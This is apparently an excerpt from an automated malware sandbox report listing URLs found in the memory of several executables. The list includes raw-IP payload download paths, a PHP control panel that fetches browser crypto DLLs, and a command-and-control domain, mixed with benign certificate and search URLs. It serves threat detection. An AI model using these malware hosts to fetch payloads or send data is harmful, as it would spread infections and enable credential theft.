Source: skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe%3s
Source: skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe0N
Source: skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exevN
Source: file.exe, 00000000.00000002.1867314381.0000000001063000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1867314381.000000000107A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.1867314381.000000000107A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exen
Source: skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeiN
Source: skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.2514769004.000000000105B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.2514769004.0000000000FEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe61395d7
Source: skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe=N
Source: skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exeHN
Source: skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exec613
Source: skotes.exe, 00000017.00000002.2514769004.000000000105B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exel
Source: file.exe, 00000000.00000002.1865897595.00000000001BC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1867314381.000000000101E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1865897595.0000000000174000.00000040.00000001.01000000.00000003.sdmp, 2a79a10743.exe, 0000001C.00000002.2480811953.000000000157E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 2a79a10743.exe, 0000001C.00000002.2480811953.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.1867314381.000000000107A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.1867314381.000000000107A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.1867314381.000000000107A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll/
Source: file.exe, 00000000.00000002.1867314381.000000000107A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.1867314381.000000000107A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.1867314381.000000000107A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.1867314381.000000000107A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.1867314381.000000000107A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.1867314381.000000000107A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll_
Source: file.exe, 00000000.00000002.1867314381.000000000107A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/H
Source: file.exe, 00000000.00000002.1867314381.000000000107A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Q
Source: 2a79a10743.exe, 0000001C.00000002.2480811953.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/a
Source: 2a79a10743.exe, 0000001C.00000002.2480811953.000000000157E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/al
Source: 2a79a10743.exe, 0000001C.00000002.2480811953.000000000157E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.
Source: 2a79a10743.exe, 0000001C.00000002.2480811953.00000000015C4000.00000004.00000020.00020000.00000000.sdmp, 2a79a10743.exe, 0000001C.00000002.2480811953.000000000157E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.1873375123.000000000BAD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php#d
Source: 2a79a10743.exe, 0000001C.00000002.2480811953.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php&
Source: file.exe, 00000000.00000002.1873375123.000000000BAD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php-d
Source: 2a79a10743.exe, 0000001C.00000002.2480811953.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/P
Source: file.exe, 00000000.00000002.1867314381.000000000101E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php003
Source: file.exe, 00000000.00000002.1865897595.00000000001BC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php0b4ecf702cec0702bbd347ccec8e
Source: 2a79a10743.exe, 0000001C.00000002.2480811953.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php;
Source: 2a79a10743.exe, 0000001C.00000002.2480811953.00000000015C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php;w9
Source: file.exe, 00000000.00000002.1873375123.000000000BAD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php?d
Source: file.exe, 00000000.00000002.1873375123.000000000BAD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpCm
Source: file.exe, 00000000.00000002.1873375123.000000000BAD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpcl
Source: file.exe, 00000000.00000002.1865897595.0000000000174000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpdge
Source: file.exe, 00000000.00000002.1873375123.000000000BAD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpol
Source: 2a79a10743.exe, 0000001C.00000002.2480811953.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/z
Source: file.exe, 00000000.00000002.1865897595.0000000000174000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ata
Source: file.exe, 00000000.00000002.1865897595.00000000001BC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206c4becf79229cb002.phpdge
Source: skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/NTD~1
Source: skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.2514769004.000000000103E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.2514769004.0000000000FEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php/(M
Source: skotes.exe, 00000017.00000002.2514769004.0000000001073000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php000001
Source: skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpKwiEu
Source: skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpqBM
Source: skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/t
Source: skotes.exe, 00000017.00000002.2514769004.000000000105B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.2514769004.000000000103E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.2514769004.0000000000FEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6946140361/Ed7zZr4.exe
Source: skotes.exe, 00000017.00000002.2514769004.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6946140361/Ed7zZr4.exeXYZ0123456789
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: Ed7zZr4.exe, 0000001A.00000002.2434776939.0000022BC9F85000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2432643845.0000022BC9F80000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2260408261.0000022BC9F71000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2432721686.0000022BC9F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.microsoft.t/Regi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_97.11.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.1886279357.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1870161193.0000000005A94000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1884837952.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: Ed7zZr4.exe, 0000001A.00000003.2261514283.0000022BCA72C000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427851570.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427716381.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, KKKKEHJK.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Ed7zZr4.exe, 0000001A.00000002.2433470637.0000022BC7C30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: Ed7zZr4.exe, 0000001A.00000002.2433470637.0000022BC7C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/M
Source: chromecache_97.11.dr	String found in binary or memory: https://apis.google.com
Source: bbbef9e2c3.exe, 0000001B.00000002.2511184346.0000000000F69000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 00000021.00000002.2510631146.000000000145B000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 00000021.00000002.2510631146.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: bbbef9e2c3.exe, 0000001B.00000002.2511184346.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/P
Source: bbbef9e2c3.exe, 0000001B.00000003.2470380929.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/_u
Source: bbbef9e2c3.exe, 0000001B.00000002.2511184346.0000000000F69000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 00000021.00000002.2510631146.000000000145B000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 00000021.00000002.2510631146.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: bbbef9e2c3.exe, 00000021.00000002.2510631146.000000000145B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiS
Source: bbbef9e2c3.exe, 00000021.00000002.2510631146.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/w
Source: bbbef9e2c3.exe, 0000001B.00000003.2470380929.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/wuvIa
Source: bbbef9e2c3.exe, 0000001B.00000002.2511184346.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/xxNHu#
Source: bbbef9e2c3.exe, 0000001B.00000003.2427135432.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/yY
Source: bbbef9e2c3.exe, 0000001B.00000003.2470380929.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000002.2520218870.000000000578F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/api
Source: bbbef9e2c3.exe, 00000021.00000002.2510631146.0000000001495000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/apicryptPrimitives.dll
Source: file.exe, 00000000.00000002.1873375123.000000000BA61000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1867314381.00000000010F7000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279000541.0000022BCA6ED000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279000541.0000022BCA725000.00000004.00000020.00020000.00000000.sdmp, HCFBFBAEBKJKEBGCAEHC.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000002.1873375123.000000000BA61000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1867314381.00000000010F7000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279204858.0000022BC7CDF000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279000541.0000022BCA6ED000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279000541.0000022BCA725000.00000004.00000020.00020000.00000000.sdmp, HCFBFBAEBKJKEBGCAEHC.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: Ed7zZr4.exe, 0000001A.00000003.2261514283.0000022BCA72C000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427851570.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427716381.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, KKKKEHJK.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.1867314381.0000000001094000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2261514283.0000022BCA72C000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427851570.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427716381.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, KKKKEHJK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.1867314381.0000000001094000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2261514283.0000022BCA72C000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427851570.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427716381.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, KKKKEHJK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.1873375123.000000000BA61000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1867314381.00000000010F7000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279000541.0000022BCA6ED000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279000541.0000022BCA725000.00000004.00000020.00020000.00000000.sdmp, HCFBFBAEBKJKEBGCAEHC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.1873375123.000000000BA61000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1867314381.00000000010F7000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279204858.0000022BC7CDF000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279000541.0000022BCA6ED000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279000541.0000022BCA725000.00000004.00000020.00020000.00000000.sdmp, HCFBFBAEBKJKEBGCAEHC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.1867314381.0000000001094000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2261514283.0000022BCA72C000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427851570.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427716381.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, KKKKEHJK.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Ed7zZr4.exe, 0000001A.00000003.2261514283.0000022BCA72C000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427851570.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427716381.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, KKKKEHJK.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.1867314381.0000000001094000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2261514283.0000022BCA72C000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427851570.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427716381.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, KKKKEHJK.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_97.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_97.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_97.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_97.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: HCFBFBAEBKJKEBGCAEHC.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_97.11.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: EHDAAECAEBKJKFHJKECFIJJDAE.0.dr	String found in binary or memory: https://support.mozilla.org
Source: EHDAAECAEBKJKFHJKECFIJJDAE.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: EHDAAECAEBKJKFHJKECFIJJDAE.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: file.exe, 00000000.00000002.1873375123.000000000BA61000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1867314381.00000000010F7000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279204858.0000022BC7CDF000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279000541.0000022BCA6ED000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279000541.0000022BCA725000.00000004.00000020.00020000.00000000.sdmp, HCFBFBAEBKJKEBGCAEHC.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: Ed7zZr4.exe, 0000001A.00000003.2261514283.0000022BCA72C000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427851570.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427716381.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, KKKKEHJK.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chromecache_97.11.dr	String found in binary or memory: https://www.google.com
